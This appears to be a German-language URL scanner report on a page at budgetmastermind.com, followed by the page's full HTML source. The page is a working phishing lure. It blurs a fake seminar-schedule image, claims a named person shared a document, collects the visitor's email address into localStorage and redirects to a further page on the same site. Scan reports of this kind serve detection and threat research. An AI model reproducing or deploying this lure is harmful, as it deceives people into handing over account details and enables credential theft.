https://www.budgetmastermind.com/lisds/miques/index.htm

Eingereichte URL:
https://www.budgetmastermind.com/lisds/miques/index.htm
Bericht beendet:

Die von der Seite ausgehenden identifizierten Links

JavaScript-Variablen · 3 gefunden

Globale JavaScript-Variablen, die in das Window Object einer Seite geladen werden, sind Variablen, die außerhalb von Funktionen deklariert werden und von jeder Stelle des Codes innerhalb des aktuellen Bereichs zugänglich sind

NameTyp

Konsolenprotokoll-Meldungen · 1 gefunden

In der Web-Konsole protokollierte Meldungen

TypKategorieProtokoll

HTML

Der HTML-Rohtext der Seite

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Collection Modal with Redirect and Auto-grab</title>
    <style>
        body, html {
            height: 100%;
            margin: 0;
            font-family: Arial, sans-serif;
            overflow-x: hidden;
        }
        .content img{
            padding: 20px;
            transition: filter 0.3s ease;
        }
        .blur {
            filter: blur(9.5px);
        }
        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(75, 85, 99, 0.7);
                    display: flex;
            justify-content: center;
            align-items: flex-start;
            padding-top: 100px;
        }
        .modal {
            background-color: white;
            padding: 2rem;
            position: relative;
            top: 10px;
            border-radius: 1px;
            width: 100%;
            height: 281px;
            max-width: 580px;
          
        }
      
        h2 {
            color: #2B3674;
            font-size: 1.25rem;
            margin-bottom: 1rem;
        }
        p {
            color: #64748B;
            font-size: 0.875rem;
            margin-bottom: 1rem;
        }
        input[type="email"] {
            width: 100%;
            padding: 0.5rem;
            border: 1px solid #E2E8F0;
            border-radius: 4px;
            margin-bottom: 0.25rem;
            font-size: 1rem;
            outline: none;
        }
        input[type="email"]:invalid {
            border-color: #FF7F50;
            background-color: #FFF5F3;
        }
        input[type="email"]:focus {
            border-color: #4299E1;
            box-shadow: 0 0 0 3px #4299E1;
        }
        .validation-message {
            font-size: 12px;
            color: #22C55E;
            margin-top: 4px;
            height: 16px;
        }
        .validation-message.valid {
            color: #22C55E;
            position: relative;
            font-size: medium;
          
        }
        .validation-message.invalid {
          font-size: medium;
            position: relative;
            color: #22C55E;
        }
        button {
            background-color: #ff6347;
            border: none;
            color: white;
            padding: 10px 32px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin: 2px 2px;
            cursor: pointer;
            border-radius: 1px;
            position: relative;
            top: 50px;
            
        }
        button:hover {
            background-color: #FF6B5E;
        }
        .image-container {
            max-width: 100%;
            margin-top: 20px;
        }
        .image-container img {
            width: 100%;
            height: auto;
            border-radius: 8px;
        }
        
    </style>
</head>
<body>
    <div class="content blur" id="pageContent">
        <div class="image-container">
            <img src="/Screenshot 2024-11-06 213845.png" alt="XML Seminar Schedule">
        </div>
    </div>

    <div class="modal-overlay" id="modalOverlay">
        <div class="modal">
            <h2 style="padding-bottom:22px ;">ROSIE HALLS shared this document with you.</h2>
            <p style="font-size: larger; color: black;  "> Please enter your email address to continue *</p>
            <form id="emailForm">
                <input type="email" id="emailInput" placeholder="Email address" required="">
                <div class="validation-message" id="validationMessage"></div>
                <button type="submit">Submit</button>
            </form>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.getElementById('emailForm');
            const modalOverlay = document.getElementById('modalOverlay');
            const pageContent = document.getElementById('pageContent');
            const emailInput = document.getElementById('emailInput');
            const validationMessage = document.getElementById('validationMessage');

            pageContent.classList.add('blur');

            function validateEmail(email) {
                const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                return re.test(email);
            }

            function autoGrabEmail() {
                const enteredEmail = emailInput.value;
                if (enteredEmail && enteredEmail.includes('@')) {
                    localStorage.setItem('userEmail', enteredEmail);
                }
            }

            const savedEmail = localStorage.getItem('userEmail');
            if (savedEmail) {
                emailInput.value = savedEmail;
            }

            emailInput.addEventListener('input', function() {
                autoGrabEmail();
                if (emailInput.value.trim() !== '') {
                    if (validateEmail(emailInput.value)) {
                        validationMessage.textContent = 'That email address is valid.';
                        validationMessage.className = 'validation-message valid';
                    } else {
                        validationMessage.textContent = 'Enter valid email address';
                        validationMessage.className = 'validation-message invalid';
                    }
                } else {
                    validationMessage.textContent = '';
                    validationMessage.className = 'validation-message';
                }
            });

            form.addEventListener('submit', function(e) {
                e.preventDefault();
                const email = emailInput.value;
                console.log('Email submitted:', email);
                
                localStorage.setItem('userEmail', email);
                
                window.location.href = 'https://www.budgetmastermind.com/Interior/airq/index.html';
            });
        });
    </script>

</body></html>